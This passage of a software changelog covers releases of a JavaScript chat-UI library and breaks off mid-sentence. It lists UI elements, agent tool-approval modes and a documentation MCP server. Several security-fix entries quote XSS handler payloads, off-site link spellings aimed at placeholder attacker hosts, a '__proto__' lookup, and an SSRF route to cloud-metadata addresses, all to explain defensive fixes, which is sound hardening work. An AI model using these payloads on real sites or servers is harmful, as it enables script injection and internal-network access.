enumwithoutmultipleor adefault, abooleanwithout adefault— renders its options as buttons, and the click is the answer. That is the shape every chat product uses and it stays the default; the switch exists for a host that wants a uniform “select, then send” across every question, or the chance to change one’s mind before committing. It is the host’s policy, likeallowOtherandlayout: a form of several questions always collects and submits, whatever it says.@aparte/core -
0556897: The only model of the only registered provider is selected on its own, and a send dropped for want of a model says so in the console, once.
registerAIProvider()selects the model when exactly one provider is registered, it lists exactly one model synchronously, and nothing is selected yet — a scripted or in-browser provider — and never overrides a choice already made or one among several. Nothing changes for a provider whose list comes from a fetch.Issue #29: a page built from the docs alone, with
@aparte/provider-scenarioand no<aparte-model-selector>, sent nothing — the user’s message sat there, no error, no console line — because no model was selected and there was nothing to select. The getting-started CDN snippet names its model now.@aparte/core -
6ba8397: The kit has a dialog:
.aparte-dialogstyles the browser’s own<dialog>—__header,__title,__close,__body(the region that scrolls),__footer, the::backdrop,--sm/--lgwidths, a full-screen sheet under 30rem — and three attributes wire it with no script:data-aparte-dialog-open="id"on any control callsshowModal()on the dialog it names,data-aparte-dialog-closeinside one closes it (its value becomes the dialog’sreturnValue), and a click on the backdrop closes it unless the dialog carriesdata-aparte-dialog-static.installDialogTriggersOnce()is exported for a host that builds its page before importing core.Issue #32, item 1. The kit used to say a modal was “deliberately absent — it needs a portal and a stack manager”; the browser has had both since 2022 in
<dialog>+showModal()(top layer, focus trap, Escape, focus return), so the recipe styles that element and nothing wraps your content — a custom element that moved children into an inner<dialog>would have broken every framework that renders them.@aparte/core -
c546d09: Two UI-kit classes:
.aparte-menu__body+.aparte-menu__descriptionfor a two-line menu item, and.aparte-field-warningfor a field’s sub-text in the warning tone.Both came from a shell moved onto the kit: a mode picker whose rows carry a name and a description had to lay a grid over
.aparte-menu__itemso the check gutter spanned both lines, and “this setting invalidates the saved states” had only-hintand-errorto be painted as. The menu banner now also says that the check mark of amenuitemradio/menuitemcheckboxis drawn by the kit fromaria-checked— the same consumer added a ”✓” of his own and got two.@aparte/core -
9a29df6: A link in a reply opens in its own tab, and a host can intercept it: the built-in sanitizer sets
target="_blank" rel="noopener noreferrer"on every externalhttp(s)link it lets through, and the bubble dispatches a cancelableaparte-link-clickevent (detail: { href, anchor, messageId }, bubbles to the chat host) before the browser follows any link in a message body —preventDefault()cancels the navigation so a host can route the link itself.A bare same-site or in-page link (relative,
#,mailto:) is left as written. A same-site link that carries atargetof its own is not: see the entry on model-writtentargetandrel, which the sanitizer clamps rather than copies — only_self, and only where the link was staying here anyway, is honoured.Issue #38:
markedsets notarget, and the sanitizer only addedrelwhen one was already present, so a model-written link was a bare<a href>that navigated the frame the chat lives in — in an Electron window, the whole application. A host that wants the old behaviour wraps the default sanitizer throughsetHtmlSanitizer()and stripstargetagain.@aparte/core -
d284c7e: New element
<aparte-scroll-rail>: a rail of ticks beside the transcript, one per user turn (every="message"for one per message), that marks which message is under the reader and jumps back to any of them on a click. Place it as a direct child of<aparte-chat>(or the wrapper’s host); it floats on the transcript’s end edge, hides under a coarse pointer, and renders nothing below two ticks. A click fires a cancelableaparte-scroll-rail-jump({ messageId }) before thescrollIntoView, so a host that pages history in can load it first. Four knobs:--aparte-scroll-rail-width,-tick-size,-tick-thickness,-gap; one locale key,scrollRailLabel.It reads the transcript and never owns it: which bubbles exist (a mutation observer on the chat), which one is under the reader (an intersection observer on the scroll surface), and the first words of each for the tick’s name. No product ships this natively — it exists as browser extensions and as open requests — which is why it is here.
@aparte/core,@aparte/locale-fr -
ea6fe97: Add
<aparte-split>: two panes and a seam you can drag, arrow or collapse — the builder split, as an element.positionin and oneaparte-split-resizeout on release; the library stores nothing, so persistence is onelocalStorage.setItemin your listener. The attribute is written on COMMIT only — a release, a key up, a double-click, a property set — and the live value during a drag travels on--aparte-split-position, so a framework’s reconciler is never in the drag loop. The number you get back is the ACHIEVED size after the clamp, so the attribute,aria-valuenowand the event’s detail are one number.The bounds are CSS:
--aparte-split-min(20rem) and--aparte-split-max(60%) are clamp arguments in the grid template, so px, %, rem and ch all work and nothing in JS parses a unit.--aparte-split-handle-size(4px) is the seam and--aparte-split-hit-area(12px, the touch target on a coarse pointer) is the invisible zone you can grab it by.Keys, on the seam: the arrows step 1%, Shift 10% (an ecosystem convention, not the APG), Home and End go to the bounds, Enter collapses and a second Enter restores the size it had, Escape cancels a drag in flight.
aria-orientationon the seam is the inverse of the element’sorientation— the attribute names the SEPARATOR’s axis, which is what ARIA 1.2 and the APG’s window splitter mean by it.Under
breakpoint(48rem by default,noneto never stack) it shows one pane and writesdata-stacked; any[data-aparte-split-pane="start|end"]on the page switches it with no script, the way[data-aparte-sidebar-toggle]drives the sidebar. The value picks the split first and the pane second:startorendreaches the split the control sits inside — or the first one on the page — and any other value names a split’sidand toggles that one, so a control aimed at a particular pane goes inside its split. If you own your own breakpoints, setbreakpoint="none"and put.aparte-split--only-start/--only-endon the element yourself: it reads those classes exactly as it readsdata-stacked.orientation="vertical"stacks the panes and moves the seam to the block axis;primary="end"sizes the last pane instead of the first.The recipe works without the element:
.aparte-splitis a grid you can set a position on from your own media query,.aparte-split--vertical/--primary-end/--only-start/--only-endare the class form of the four states, and.aparte-split__paneis the scrolling wrapper for the pane that is not a chat. A pane CONTAINS a chat; a chat never contains a split.New locale key
splitHandleLabel(“Resize the panes”, “Redimensionner les panneaux”) names the seam.@aparte/core,@aparte/locale-fr -
0e20e36:
registerStreamBlock({ tag, toSegment })teaches the stream parser a tagged block:<tag attr="…">…</tag>in the model’s prose becomes the segment you build, streamed delta by delta.AparteStreamParserOptions.blockstakes the same grammars when you drive the parser yourself.Models write conventions into their prose —
<think>for reasoning,<artifact>for a document,<file path>for a patch,<cite>for a source — and until now each one was a branch hard-wired into the parser, which is how the artifact ended up in core while being an app convention. The parser now does the streaming work once for every grammar: the earliest opening tag wins against a code fence and a reasoning delimiter, a tag cut at a chunk boundary is held back, attributes are parsed quoted or bare, a closing tag split across two chunks never leaks as content, a self-closing tag is a block with no body, and a block still open at the end of the stream is closed with what arrived.toSegmentruns once, at the opening tag; the segment it returns carries acontentstring the parser fills. The blocks are read by the stream adapter when a turn starts.AparteStreamBlockandAparteStreamBlockMatchare exported;unregisterStreamBlock(tag)andgetStreamBlocks()complete the set, andreset()clears it.@aparte/core -
99f7e4a: The user bubble’s tint,
--aparte-surface-3and--aparte-text-inversederive from the masters; an eight-line rebrand now moves them, and the default user bubble is a wash of the accent rather than a fixed plum.--aparte-message-content-bg-userwas a literal in both palettes (#efe7f6/#2f2740), the one colour the theming guide’s eight-line rebrand could not reach — a chat moved to a blue brand kept a plum bubble. It is nowcolor-mix(in srgb, var(--aparte-primary) 12%, var(--aparte-surface-1)), declared in the anchored layer so a per-instance--aparte-primaryre-tints it.--aparte-surface-3is the second surface pulled 6 % toward the text (the same figure both literal pairs encoded), and--aparte-text-inversereads--aparte-surface-1. The three names still exist and still win when you declare them — only their defaults moved. The theming guide lists what stays literal after this: the status colours and--aparte-secondary/--aparte-neutral.@aparte/core -
259e785: A tool renderer registered with
registerToolRenderercan declareupdate(element, segment)andrelabel(element, segment); withupdate, a change of the call (its result landing, a decision, a failure) is patched into your element instead of rebuilding it fromrender().Without
updatecore rebuilds — which it always did, and which is right for a receipt and wrong for anything with state: a mounted preview, an opened disclosure or a focused control was lost the moment the result landed.relabelis forwarded to your renderer on every config change (setLocale,setIconProvider,reset()) and core no longer applies its own pill selectors to markup it did not draw. Same two contracts asAparteSegmentRenderer, which is what makes a renderer that serves both a tool call and a segment a single implementation.@aparte/core -
c2cab7f:
StreamToolConfig.needsApprovalaccepts a predicate(call) => boolean | 'ask' | 'deny'beside the boolean, so the gate can be decided per call from the arguments —'deny'reaches the resolver without announcingtool-awaiting-approval, since nobody is being asked; and an approval resolver may returnreason, a refusal the loop hands the model verbatim instead of “The user rejected this tool call”.Both serve a policy that refuses on its own (a plan mode): without the predicate, every call would have to pause and be auto-approved, painting awaiting approval on rows nobody was asked about; without
reason, the model would be told a person refused when a mode did.@aparte/engine -
45574cd: A tool handler may return
structuredContentbesidecontent; the loop forwards it on thetool-resolvedevent asstructuredResult, so a renderer reads the value instead of re-parsing the sentence the model was given.@aparte/engine -
b90c4c4:
runStreamAgentalways emits a terminal event: a Stop now ends the run withrun-abortedwherever it lands, and a tool handler that throws emits a newtool-failedevent ({ toolCallId, error }) before the run ends on that error. Widen an exhaustiveswitchoverStreamRunEventfor the new type.Three of the six abort exits — a Stop during a tool call, during an approval wait, or with no resolver — emitted nothing at all, so a host never cleared its typing indicator or its streaming id.
run-abortedis decided once now, at the loop’s exit, from the signal, and lands aftertext-flush.tool-failedreplaces a row that used to say “Running” for the rest of the session.Per-tool
maxTurnsuses the same arithmetic as the global cap:maxTurns: 1is one call, not none. It was>=against a>, so one number meant two things on the two knobs andmaxTurns: 1made a tool un-callable on the very first turn.The
tool_callenvelope declares a call only once it is committed to atool_result. A call halted before that point — no handler, turn limit reached, an abort — no longer appears in the serialized history as a call that never gets a result.@aparte/engine -
1b1a715: The conversation module leaves the engine:
estimateTokens,estimateTokensJson,computeHistoryBudget,splitHistoryBudget,DEFAULT_COMPACTION_CONFIG,CompactionConfig,BudgetBreakdown,BudgetResult,SplitBudget,createCompactionSelector,CompactionSelectorOptions,CompactableMessage,CompactionSelectionandCompactionSelectorare@aparte/plugin-compaction’s now, same names, same signatures — change the import. Gone with them, not moved:assembleCompacted,compactConversation,CompactionMessage,CompactionInput,CompactionResult,RetrievedTurn, theragHist*/ragIntroLabel/summaryLabelfields ofCompactionConfigand theragHistslot ofSplitBudget, and thetriggerSummaryThresholdPct/summarizeEveryNTurnsfields nothing read.The engine is the loop, and only the loop:
runStreamAgentreports usage and lets the caller decide. Nothing in it ever read the budget — the one reader wasAparteClient.compact(), which has moved to the same plugin — and a module with no in-package consumer is a contract maintained for nobody.@aparte/engine -
46dfbdb: The built-in
create_artifactis gone from the loop, with theartifact-readyrun event andderiveArtifactKind: a model callingcreate_artifactnow reaches a registered tool of that name or gets “unknown tool” like any other call. Install@aparte/plugin-artifacts(setupArtifacts()) to register the tool, or register your own.The name was compared in the loop and dispatched before the tool path — no
tool-start, no approval gate, no handler, a result of its own — the fast path that once orphaned the next tool’s result. A tool is a tool: it goes through the gate (a policy may class writing a document as awrite), the handler and the envelope, and its result reaches the renderer asstructuredResult.idGenkeeps its one remaining use, the synthetic call of a forcedtoolChoice.@aparte/engine -
4123389: The
nodeentry exports theAparteApprovalModeelement type, so an SSR consumer onnode16/nodenextcan name it in a signature.export typeis erased at compile time, so the entry stays DOM-free —scripts/check-node-import.mjsasserts it keeps importing without a document. The element itself is deliberately absent from that entry: it needs adocument, andimport '@aparte/plugin-approval'on a server registers the policy and nothing else.@aparte/plugin-approval -
a91ac86: New package:
@aparte/plugin-approval— approval modes for tool calls.setupApproval({ classify: { read, write, exec }, mode })installs a per-call policy from a classification of your tool names; the modes areplan(read-only tools run, the rest is refused with a reason the model reads),ask(every write or execution asks at the composer),auto-edit(writes run, executions ask) andauto(never asks).<aparte-approval-mode>is the switch, for<aparte-composer-toolbar>;approval.setMode()/subscribe()are the same switch from code. It executes nothing and stores nothing.The names are yours because they are wire format: no library can know that
run_commandexecutes andsearch_docsreads. A tool in no list keeps its ownneedsApproval(and runs underauto). Built on core’s newsetApprovalPolicy().@aparte/plugin-approval -
b6f4cc9:
setupAskUserandsetupApprovalnow take their options first and the config last, like every othersetup*—setupAskUser({ maxOptions: 6 }),setupApproval({ classify }), andsetupAskUser({}, config)for a scoped chat.setupAskUser(config, options)andsetupApproval(config, options)no longer compile.The plugins overview stated the rule (“every
setup*takes the config instance as its last argument, defaulting to the global”) and these two broke it; the leadingundefinedthe ask-user page had to write to reach the options was the symptom. Pre-1.0, a rename is a rename.@aparte/plugin-approval,@aparte/plugin-ask-user -
3c2e507:
buildSafePreviewDocument,PREVIEW_CSP,ASK_USER_DECLINEDandreceiptRowsnow import on the server too — they used to throw a SyntaxError under Node.All four are pure: string work over
escapeHtml/escapeAttrand over a tool call’s own input, with no DOM anywhere in their path. They were simply absent from the packages’nodebarrels, and the consequence was not a missing feature but a hardSyntaxError: The requested module does not provide an export named …the moment an SSR build evaluated the import — the exact failure those barrels were written to end.buildReceiptstays browser-only: it returns an element.receiptRowsis the data half, and it is the one a server rendering a transcript wants.ReceiptRowandReceiptSourceare exported as types on both entries.receiptRowsreturned an interface no consumer could name.ArtifactsSetupOptionsis now declared once. Each barrel declared its own, and they were not the same shape: the node copy omitted the render half, sopreviewandonBinarywere a type error against the SSR entry and valid against the browser one. One name meant two contracts depending on which condition resolved. The server still ignores those two fields — it registers no renderer — which is the point: the same options object can be written once and passed on both sides.@aparte/plugin-artifacts,@aparte/plugin-ask-user -
37f2450: New package:
setupArtifacts()registers a realcreate_artifacttool the model calls, the Code/Preview card that renders its result, the<artifact …>…</artifact>grammar for a model that writes one in its prose, and the segment renderer for it — one implementation, four registrations.An artifact is a convention an app teaches its model, not something a model does by nature, so the convention lives in a plugin end to end. The card is the one core used to ship: it opens on Code, mounts the sandboxed preview only on a press (a previewable artifact is model-authored code), copies and downloads a text artifact, and for a binary one (
pdf,xlsx,docx) asks the app’sonBinary(artifact)for the bytes once the source settles — no window-event protocol, no host handlers, no cache the app has to feed: a function that returns{ buffer, mime, filename, previewHtml? }or throws, and the card shows the file or the failure.preview: falseremoves the tab; a function replaces the built-in document builder;tagrenames or (false) disables the grammar;nameandsystemPromptare the tool’s.deriveArtifactKindmoves here and learns the standard names of the three binary kinds. The DOM-freenodeentry registers the tool and the grammar without a renderer.@aparte/plugin-artifacts -
45574cd:
ask_usernow returns its answer structured as well as in prose:structuredContentis{ action: 'accept', answers: [{ question, value }] }—valuea string for a single choice, astring[]for a multiple one — or{ action: 'decline' }(typesAskUserStructuredResult,AskUserAnswer). The prosecontentthe model reads is unchanged;ASK_USER_DECLINEDstays what that prose says on a decline. The receipt in the transcript reads the structure when it is there and falls back to the prose for a result that came from elsewhere.MCP’s elicitation result is exactly this shape (an
actionbeside the content), and a consumer had written a converter to get it back out of the sentence.@aparte/plugin-ask-user -
59016b1: New package:
@aparte/plugin-compaction— conversation compaction.setupCompaction(options, config)answers theaparte-compactcommand (<aparte-context auto-compact>dispatches it on reaching 90 % of the window; a button of yours dispatches it the same way): it selects what to summarise — by default the budget-aware selector over the current model’scontextWindow, system prompt and tools, keeping the newest turns that still fit, or the last two exchanges when the model declares no window — summarises it through the config’s transport with its tool calls and errors, and replaces the transcript with the summary as a notice (compaction: true) followed by the kept turns verbatim. The controller it returns hascompact(targetId?)(returns the outcome, never throws),abort(),runninganddispose().Options:
selector,keepWithoutWindow,prompt,keyResolver(the one you gaveAparteClient),summarize(replace the model call — your endpoint, a cheaper model),resolveTarget(a transcript in a store),scopeToTargetId,listen. Exports besides:createCompactionSelector,computeHistoryBudget,splitHistoryBudget,estimateTokens,estimateTokensJson,DEFAULT_COMPACTION_CONFIG,transcriptForSummary,messageText,DEFAULT_COMPACTION_PROMPT— the budget and selector that used to be@aparte/engine’s, and the summariser that used to beAparteClient.compact().What is new against the client’s version: one compaction at a time (a second request is reported
skipped,reason: 'running'); a transcript with a turn in flight is left alone (reason: 'streaming'); the summarisation has its own abort, reached byabort()and by anaparte-abortaddressed to the chat, and an abort settles the compaction even when the transport ignores the signal; what arrived while the summary was being written is kept; every event names the chat. The placement follows the survey: no UI kit compacts, every agent SDK ships it as an opt-in module — the seams (the gauge, the notice, the preamble, the request flag) stay in core, the behaviour is one call away.@aparte/plugin-compaction -
e4b1fbe: The conversation-manager helper of each wrapper (
useConversationManager,createConversationManager,ConversationManagerService) exposespin(id),unpin(id)andupdateTitle(id, title), so the list’s newaparte-pin-conversation,aparte-unpin-conversationandaparte-rename-conversationevents can be wired without reaching for the manager. Angular’s<aparte-conversation-list>directive gains the matching(pinConversation),(unpinConversation)and(renameConversation)outputs.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
4e04443: The four wrappers render
<aparte-elicitation>inside their host by default; passelicitation={false}(:elicitation="false"in Vue,[elicitation]="false"in Angular) to opt out. If your app registers its own presenter withsetElicitationPresenter(), you must pass it: the built-in presenter registers with the chat as its owner and wins the match for that chat’s requests, so without the opt-out your questions would open core’s panel instead of your presenter.Core’s
<aparte-chat>has shipped the presenter in its default composition since the built-in approval gate started asking through it, and the wrappers had not followed: arequestUserInput()under<AparteChat>rejected with the “no presenter” warning, and that warning told you to add the element “inside your<aparte-chat>” — a tag the wrappers do not render. The first consumer to hit it appended the element to[data-aparte-chat]by hand. The warning now names the framework host too, and the composer’s docblock names the four lifecycle events that drive itsstreamingflag (aparte-message-startsets it;-done/-error/-abortedclear it) instead of “lifecycle events on window”.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
4e04443:
<AparteChat>acceptsclassNameandstyle(React) /classandstyle(Svelte), merged onto the root element ([data-aparte-chat]).A utility-first app sizes the chat column with classes (
flex-1 min-h-0), and the library needs a constrained height chain down to that root; without a prop the only way was a descendant selector in a stylesheet. Vue already letclass/stylefall through to its single root, and Angular’s host element is the sized box — both are now stated in their framework pages.@aparte/react,@aparte/svelte -
7be58c9:
elicitationNext(« Suivant ») is removed with the composer button’s “advance” meaning;elicitationRecommended(« Recommandé ») is added for the tag a recommended option now wears, andapprovalModeLabel(« Mode d’approbation ») for the accessible name of@aparte/plugin-approval’s switch.@aparte/locale-fr -
e4b1fbe: French strings for the conversation row’s menu and date groups:
deleteConversation,archiveConversation,unarchiveConversationbecome the bare verbs (“Supprimer”, “Archiver”, “Désarchiver”), and the new keys are translated —conversationActions,renameConversation,conversationTitle,pinConversation,unpinConversation,deleteConversationConfirm,cancel,conversationGroupPinned/Today/Yesterday/Week/Month.@aparte/locale-fr -
3dbf25b: Every documentation page is fetched from your
baseUrl/APARTE_DOCS_URL: only the path of a URL the index prints is used, so pointing the server at a local build reads the local build, and an index entry naming another host cannot redirect the fetch.llms.txtlists one URL per topic set, and those URLs are absolute and point at the production site — even in a docs build served on localhost, because that is what the generator writes. The server fetched them verbatim, soAPARTE_DOCS_URL=http://localhost:4321read the index locally and then read every page from production: an offline or staging setup silently served the live docs, and a change you were checking never appeared.The same verbatim fetch made the index a way to choose what the machine running the agent requests. An index entry naming another host — a cloud metadata address, an intranet name, a port on localhost — was fetched from there.
A set URL now contributes its path (and query) only; the origin is always
baseUrl/APARTE_DOCS_URL, and anything that does not resolve tohttp/httpsis refused with an error rather than fetched.DocsSet.urlstill carries the URL the index printed.@aparte/docs-mcp -
6015096: New package:
@aparte/docs-mcp, the aparté documentation as an MCP server.npx @aparte/docs-mcpgives a coding agent four tools —list_sets,search_docs,get_page,get_set— over the text the docs site publishes for models (apartejs.dev/llms.txtand its per-topic files), so the answer is always the docs of the version that ships.createDocsMcpServer({ baseUrl })embeds it;APARTE_DOCS_URLpoints the CLI at a local docs build.Two consumers’ assistants could not find what the docs already had — the approval elicitation, the UI kit of classes,
systemPrompt: false— and one rebuilt a modal it already had. A model that reads a site cold misses; a model that can ask finds.@aparte/docs-mcp
Patch Changes
-
22fe79e: Links written as
//host,/\host,http:/hostor with leading whitespace now open in a new tab like every other external link.The hardening tested the RAW attribute against
^https?://, while the check that ACCEPTED the URL normalised it first (isSafeUrlstrips control and space characters, so" https://evil.example"is accepted and//attacker.examplepasses as a relative URL). Both are external once a browser resolves them, and both kept the default target — they navigated the frame the chat lives in, which is the one thing this rule exists to prevent, and the docs promised the opposite. The external test now reads the same normalised value the accept path did.Two more spellings resolve off-site and the allowlist accepts both: a backslash is a slash to a URL parser on a special scheme (
/\evil.exampleis a relative URL), and a single slash after an explicit scheme enters authority state when that scheme differs from the page’s (http:/evil.example). Measured with Node’s WHATWG URL against basehttps://site.example/chat/, both land onevil.example. They are hardened too.It stays a string test rather than
new URL(value, document.baseURI): this module has a documented DOM-free path, and resolving would quietly turn the rule into “cross-origin” instead of “external”.@aparte/core -
22fe79e: The DOM-free sanitizer (the
nodeentry) now strips handlers written as<img src=x/onerror=…>and removes an unclosed<svg>/<math>/<form>.When there is no
DOMParser— SSR, Node, a test runner — the built-in degrades to a regex net, and that whole branch was untested. It had two hand-written tag lists that disagreed:svg,mathandformwere only in the paired pass, so an unclosed one walked straight through, andbutton/select/titleand the rest were in neither. Its handler stripper demanded whitespace beforeon…, while HTML also ends an attribute at/and at the closing quote of the previous value, so<img src=x/onerror=…>and<img src="x"onerror="…">kept their handlers.The handler pass also ran once, and it consumes the separator in front of the handler it removes — so two written back to back (
<img src=x onload="0"onerror="alert(1)">) lost the quote that separated the second one and it survived. It now runs to a fixed point; the replacement is a space, which restores the separator for the next round.Both tag passes now read
DANGEROUS_TAGS, the same list the DOM path uses — the three document-structure tags (html,head,body) lose their tags but keep what they wrapped, matching what a real parser does with them. The net remains a safety net and not a security boundary: for untrusted HTML off the browser, register a real sanitizer (DOMPurify + jsdom) viasetHtmlSanitizer.@aparte/core -
4123389:
createAparteChatHandleranswers a failed vendor fetch with502 Vendor request failed.and an unknownproviderIdwith400even when the name is an inherited key such as__proto__— two status codes a caller may see change.The 502 body is now a fixed string. It used to be the exception’s own message, and that message can name the URL it tried:
authQuery(Gemini’s?key=) puts the API key in the URL, and a customfetchImplprints the URL in its error text (node-fetch:request to ${url} failed, reason: …). The vendor’s prose goes to the server’s log viaconsole.error, never to the client — the same rule the non-okbranch already followed.The 400 is the
providerIdlookup. It readoptions.providers[providerId]on a client-supplied string, so on a plain object literalproviders["__proto__"]andproviders["constructor"]resolve to a truthy inherited value: the “Unknown providerId” 400 was skipped and the request fell through to a 500 further down. The lookup isObject.hasOwnnow.@aparte/core -
5e0c4e7: A stream block whose attribute value contains
>(title="v1 -> v2") now keeps its attributes instead of losing them all and leaking the raw tag into the body.The opening tag was cut at the first
>in the buffer, wherever it fell.<note kind="a>b" title="t > u">therefore ended aftera, so no attribute parsed (kindfell back to the grammar’s default) andb" title="t > u">was streamed into the segment’s content as literal markup. The tag now ends at the first>outside a quoted value; a quote only opens after an=, so a stray"written in prose or in an attribute-less tag cannot hold the buffer open, and an opening tag still incomplete at a chunk boundary is held for the next chunk exactly as before.One malformed shape reads differently: a quote the model opens and never closes. Its value now runs to the end of the line, so the tag is read at its first
>once the line ends rather than as soon as that>arrives. If the reply never breaks a line after such a tag, the tag and everything after it arrive as one plain-text run when the reply ends, instead of opening a block with a truncated attribute.@aparte/core -
5e0c4e7: Reusing an
AparteStreamParserafter a reply that ended mid-fence or mid-block no longer swallows the next reply.finalize()flushed what was left but never spent the mode it was in. A reply cut off inside a ``` fence, a<think>block or a registered<tag>left the parser waiting for a closing delimiter that would never come, so the first characters of the NEXT reply were eaten by that wait — silently, with no segment to show for them. The built-in client builds a fresh parser for every turn, so this bites a consumer who drivesAparteStreamParserthemselves and keeps it across replies — the bring-your-own-loop path.finalize()now returns the parser totextwith an empty buffer and no armed delimiter.@aparte/core -
3a0f593:
<aparte-context auto-compact>asks for a compaction again after one was refused or failed; it used to ask once and never again.The request was spent only by a compaction that actually landed. A skip — nothing to drop yet, a stream in flight, another compaction running — returned before the flag was cleared, the level never left
dangerwith the usage still climbing, and the gauge stayed silent for the life of the element. The request is now made per turn: one stays open until the plugin answers (done, skipped or failed), and the next turn still in danger asks again. Nothing changes for a compaction that succeeds.@aparte/core -
95613d0:
aparte-sidebar-toggleannounces a change, never the starting state:<aparte-sidebar collapsed>is silent at mount, and so is a sidebar that enters as a closed drawer on a narrow window. Readcollapsedafter connect for the state it started in.The element used to read its markup as a change. During an UPGRADE — the ordinary case for server-rendered markup, where the module loads after the HTML —
attributeChangedCallbackfires for every authored attribute while the element is already connected and beforeconnectedCallbackhas run.collapsedwas therefore announced as a toggle the host never asked for, carryingdrawer: falsebecause the media query had not run yet: a host persisting that detail wrote “the column is open” over a drawer that was closed.connectedCallbackstamps what the markup asked for AFTER the breakpoint has been applied, and the attribute callback is gated on that, the way<aparte-split>already was.@aparte/core -
95613d0: Widening the window past the drawer breakpoint reopens the sidebar only when nothing had collapsed it as a column:
<aparte-sidebar collapsed>in the markup, or a host collapse taken outside the drawer state, keeps it folded._applyDrawerreopened on every exit from the drawer state, against its own docblock (“unless the host had collapsed it before” — nothing recorded that). So a host that folded the column, or markup that shipped<aparte-sidebar collapsed>, got it back the first time the window crossed 48rem.The element now records a collapse only when it is taken OUTSIDE the drawer state — dismissing an overlay says nothing about what a wide window should show — and its own breakpoint writes never count as the host’s intent.
That intent is read from the markup once, on the first connect. A re-parent — a framework re-render, a tab swap, dragging the panel elsewhere — runs
connectedCallbackagain, and by thencollapsedcan be the breakpoint’s own doing: reading it a second time recorded the element’s write as the host’s word and the column stopped reopening for good.@aparte/core -
4a508e4:
reset()and a double-click on the seam return an<aparte-split>to the position its markup declared, and a split folded before a move reopens at the size it had — both survive a re-parent (a framework re-render, a tab switch, dragging the panel elsewhere).A re-parent — a framework re-render, a tab switch, dragging the panel elsewhere — runs
connectedCallbackagain, and by then thepositionattribute holds the last commit rather than what the author wrote. The element captured it as the initial position, soreset()and a double-click on the seam went back to wherever the reader last dragged the seam.Worse when it was folded: a collapsed split reflects
position="0", so the re-mount recorded 0 as the size to restore andexpand()reopened onto nothing. The size it had before it folded is now kept across the move.@aparte/core -
9eccccc: The dialog recipe dismisses on a backdrop click only when both ends of the gesture landed on the backdrop: selecting text inside the box and releasing outside it leaves the dialog open, and a programmatic
dialog.click()does not close it — callclose().A
clickfires on the nearest common ancestor of where the press landed and where it was released, so a selection dragged a few pixels past the box targets the<dialog>itself — identical, from the click alone, to a deliberate press on the backdrop. Reproduced in all three engines, in both directions (press outside, release inside, same result).So the dismissal asks for the press as well:
installDialogTriggersOnce()records wherepointerdownlanded and theclickhandler only dismisses when that was the backdrop too. The cost is the second half of the first line — a synthetic click has pressed nothing, so it is not a dismissal.@aparte/core -
3590e4a: The
<aparte-split>resize seam draws a real focus outline when it takes keyboard focus:outline: var(--aparte-focus-outline-width) solid var(--aparte-border-focus), measured 3.54:1 against the page in the light palette and 7.36:1 in the dark one..aparte-split__handle:focus-visiblewasoutline: noneplus the soft--aparte-focus-ringshadow and nothing else. Measured, that ring is 1.39:1 against the page in the light palette and 1.83:1 in the dark one, where WCAG asks 3:1 of a focus indicator — so the seam’s only keyboard affordance was, in practice, absent. It matters more here than almost anywhere else in the library: the seam is a 4px band withborder: 0whose entire story is arrowing it, so a keyboard user who cannot see the focus has no other way to find it.It now paints
outline: var(--aparte-focus-outline-width) solid var(--aparte-border-focus)— 3.54:1 light, 7.36:1 dark — and keeps the shadow beside it as decoration, since a glow around the seam and an outline on it do not fight. The forced-colors entry inresponsive.cssis unchanged and now overrides an outline that exists rather than substituting for one that does not.@aparte/core -
3590e4a: The ✕ on a pending attachment now appears when it is focused and on touch devices — it was the only way to remove one.
.aparte-thumb__removesat atopacity: 0with a single:hoverrule to reveal it. A keyboard user tabbing onto it got a focus ring drawn around nothing; a touch user, who cannot hover at all, never saw it and could not drop a file attached by mistake. The sheet now pairs:focus-withinwith the hover rule — the same pair the message action bar and the conversation row already use, which is what makes this an omission rather than a design — and the coarse-pointer block shows it outright, beside the conversation row’s ⋯ that is there for the same reason.e2e/tests/attachments.spec.tspassed through all of it: Playwright’s visibility check ignoresopacity. The new unit suite asserts the sheet and the control together, because the two halves hold each other up —:focus-withincan only ever match if the ✕ is genuinely focusable.@aparte/core -
3c2e507:
querySelector('aparte-context' | 'aparte-split' | 'aparte-suggestions')is now typed — the cast and the untypede.detailare gone.Those three were the only elements missing from
HTMLElementTagNameMap: 21 of 24 were mapped, and the three left out were the whole up-stack surface of this release, so the shell code most likely to be written this month was the code that needed a cast.The map’s docstring said
pnpm check:element-mapkept it honest. No such script has ever existed. It is pinned now by a type assertion against the generatedAparteElementTagName— which comes from the custom-elements manifest and therefore carries every tag by construction — so a missing entry is a compile error naming the tag, in the editor and innx typecheck, which is what the pre-commit hook runs. The other direction (a key no element backs) is a test, becauseHTMLElementTagNameMapis a global interface the plugins augment too.Two other claims in that docstring were wrong and are corrected: the file is imported by the SSR entry as well as the browser one, on purpose.
@aparte/core -
3c2e507:
registerAllComponents()now references every element class (24, not 4) and names the ones that are missing.It looked up four tags — chat, viewport, bubble, status — and on a miss logged “Some components may not be registered.” Both halves failed the reader the guide sends here. A bundler that dropped
<aparte-split>or<aparte-composer-toolbar>produced a silent green, because those twenty were never checked; and anyone who did see the warning was told nothing about which module to import.The function now reads one
[tag, class]array covering all 24, and the warning lists the missing tags by name. The registrations themselves are unaffected either way: the browser build is one module,dist/index.js, whichsideEffectsnames, so all 24customElements.definecalls ship in it whether or not anything references the classes.@aparte/core -
3a0f593:
<aparte-context>declares theaparte-compactevent it dispatches, so it appears in the shipped custom-elements manifest, on the element’s docs page, and in the editor tooltip that manifest feeds.The gauge has dispatched it on
windowsinceauto-compactexisted — that is the whole of what the attribute does — and it carried no@fires, so it was absent from the shipped custom-elements manifest, from the element’s generated page, and from the editor tooltip a consumer reads. It was typed inAparteEventMapand described in prose the entire time, which is what made it invisible: every list a reader consults said the element fires one event.The dispatch is typed with its detail (
AparteCompactEventDetail) rather than an anonymousCustomEvent, and the event map’s comment is corrected — it said “Core never sends these” of a block of five, which was false of four of them, the gauge’s own included.@aparte/core -
4a508e4:
<aparte-split pane="end">keeps that pane when it loads stacked on a narrow screen, and everyshowPane()that changes the pane commits it and firesaparte-split-resize.Entering the stacked state showed the start pane unconditionally, deleting the choice the markup had already made. And because that write happens during the mount, where the attribute callback is suppressed, the element never recorded it: a later
showPane('end')looked like no change and committed nothing, so the host heard noaparte-split-resizeand its two-button toggle went dead once.The stacked check also read the
